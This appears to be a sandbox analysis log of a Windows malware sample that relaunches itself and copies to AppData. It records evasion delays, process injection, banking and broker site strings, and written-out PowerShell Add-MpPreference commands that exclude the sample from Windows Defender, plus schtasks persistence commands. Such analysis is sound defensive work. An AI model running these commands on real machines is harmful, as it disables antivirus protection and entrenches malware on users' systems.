Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6201	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7727	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 363	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Window / User API: threadDelayed 2865	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Window / User API: threadDelayed 4936	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Window / User API: threadDelayed 1869
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Window / User API: threadDelayed 5751

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe TID: 2164	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3788	Thread sleep count: 6201 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4744	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep count: 145 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3552	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6388	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe TID: 7396	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe TID: 3812	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe TID: 7196	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe TID: 7740	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe TID: 7536	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe TID: 7508	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior

Source: tmp4D8.tmp.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmp4D8.tmp.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmp4D8.tmp.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmp4D8.tmp.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tmp4D8.tmp.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmp4D8.tmp.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmp4D8.tmp.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmp4D8.tmp.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RgIbrhxoEx.exe, 00000008.00000002.2243746245.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, LjGABleGAy.exe, 0000000E.00000002.2326375186.0000000000E10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp4D8.tmp.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmp4D8.tmp.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmp4D8.tmp.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: tmp4D8.tmp.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmp4D8.tmp.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmp4D8.tmp.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tmp4D8.tmp.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: tmp4D8.tmp.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: LjGABleGAy.exe, 0000000A.00000002.2215810861.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}v
Source: tmp4D8.tmp.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmp4D8.tmp.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory written: C:\Users\user\Desktop\RgIbrhxoEx.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory written: C:\Users\user\AppData\Roaming\LjGABleGAy.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RgIbrhxoEx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp3B03.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process created: C:\Users\user\Desktop\RgIbrhxoEx.exe "C:\Users\user\Desktop\RgIbrhxoEx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\LjGABleGAy" /XML "C:\Users\user\AppData\Local\Temp\tmp5E88.tmp"
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process created: C:\Users\user\AppData\Roaming\LjGABleGAy.exe "C:\Users\user\AppData\Roaming\LjGABleGAy.exe"

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Users\user\Desktop\RgIbrhxoEx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
